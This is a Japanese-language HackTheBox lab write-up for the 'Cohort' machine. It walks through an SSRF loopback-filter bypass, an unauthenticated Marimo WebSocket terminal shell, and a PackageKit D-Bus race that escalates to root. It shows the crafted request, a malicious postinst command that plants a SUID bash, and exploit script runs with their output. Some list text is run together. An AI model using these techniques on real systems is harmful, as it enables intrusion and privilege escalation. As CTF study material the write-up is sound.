
HTB Cohort - SSRF、Marimo 認証前 RCE (CVE-2026-39987) および PackageKit 権限昇格 (CVE-2026-41651)
マシン Cohort (HackTheBox)。完全なキルチェーン:
/api/validate) における SSRF → 内部 vhost の探索marimo としてのシェルフラグは意図的に含まれていません (HTB のルール)。
10.129.93.8 cohort.htb
/api/... エンドポイント) を配信する nginxnb-1be3782a8afd3ad5.cohort.htb)、外部には非公開アプリはリモートコンテンツを取得してそれを反映する URL 検証 エンドポイントを公開していた。 URL フィルターはループバックアドレスをエンコードすることでバイパスできた:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
これにより内部 nginx に到達し、設定された upstreams が明らかになった。これには
内部 Marimo vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888 が含まれていた。
Marimo のノートブック WebSocket ターミナルハンドラーは 認証を検証していなかった。
/terminal/ws に接続すると pty.fork() を介して bash シェルが起動する。
内部 vhost は、内部の Host ヘッダーを送信することで外部 nginx を通じて到達可能だった:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
結果: marimo としてのシェル (uid 1000)。
marimo としての列挙dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit のバージョンが脆弱な TOCTOU パターンに一致user.txt は /home/marimo/user.txt に存在PackageKit 1.2.8 には time-of-check / time-of-use の欠陥がある: GLib アイドルコールバックが読み取るトランザクションのロールとフラグは、同じトランザクション上で 2 つの非同期 D-Bus 呼び出しを発行することで 競合 させることができる。そのため、特権バックエンドは、最初の呼び出し (SIMULATE) がすでに認可チェックを通過していても、2 番目の呼び出し (ロール NONE、認証チェックなし) を実行してしまう。
同じトランザクション上で 2 つの呼び出しが連続して発行される:
InstallFiles(SIMULATE=4) — polkit 認可チェックを通過するInstallFiles(NONE=0) — 悪意のある .deb を運び、同じメッセージバッチの一部として読み取られる悪意のある .deb は root として postinst スクリプトを実行し、SUID bash を配置する:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
重要な詳細: 2 つの呼び出しは 一緒に フラッシュする必要があり、バックエンドが両方のメッセージを 1 つのバッチで読み取るようにする。GIO の非同期 call() + flush_sync() を使用する:
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
最初のエクスプロイトは python-dbus を使用していた:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus は 2 つの InstallFiles 呼び出しを 別々の書き込み にシリアライズするため、バックエンドのアイドルコールバックはそれらを別々のイベントとして処理し、競合は決して発生しなかった。
GIO の flush_sync は両方の D-Bus メッセージを単一の書き込みバッチで送信する → 競合に勝利。
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt が読み取り可能。
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)